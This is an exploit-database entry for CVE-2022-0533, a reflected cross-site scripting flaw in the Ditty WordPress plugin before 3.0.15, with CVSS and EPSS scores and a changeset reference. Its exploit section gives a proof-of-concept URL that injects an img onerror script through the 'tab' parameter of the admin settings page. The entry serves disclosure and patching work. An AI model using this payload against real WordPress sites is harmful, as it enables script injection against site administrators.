Exploit for Ditty (formerly Ditty News Ticker) < 3.0.15 - Reflected Cross-Site Scripting (XSS)

CVE-2022-0533

wpexploit · 2022-02-09

Description

Ditty version < 3.0.15 XSS exploi

Entry point

Parametertab · query param

Path/wp-admin/edit.php?post_type=ditty&page=ditty_settings&tab=%22%3E%3Cimg+src+onerror%3Dalert%281%29%3E

Reflected XSS in Ditty WordPress plugin (pre-3.0.15) via tab parameter

Affected Metaphorcreations Ditty versions

Metaphorcreations Ditty< 3.0.15

All known vulnerabilities by product

The Ditty

CVSS 6.1 for CVE-2022-0533

6.1

MEDIUM SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:CHANGED

Confidentiality:LOW

Integrity:LOW

Availability:NONE

EPSS Score

1.8%higher than 76.3% of all CVEs

Updated 2026-07-28

References

https://plugins.trac.wordpress.org/changeset/2675223/ditty-news-ticker

Exploit Details

Modified:2022-04-08 07:14

Last Seen:2022-04-15 14:16

Reporter:Krzysztof Zając

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:40F36692-C898-4441-AD24-2DC17856BD74
http://127.0.0.1:8001/wp-admin/edit.php?post_type=ditty&page=ditty_settings&tab=%22%3E%3Cimg+src+onerror%3Dalert%281%29%3E

Exploit Code

Share

Share on social media: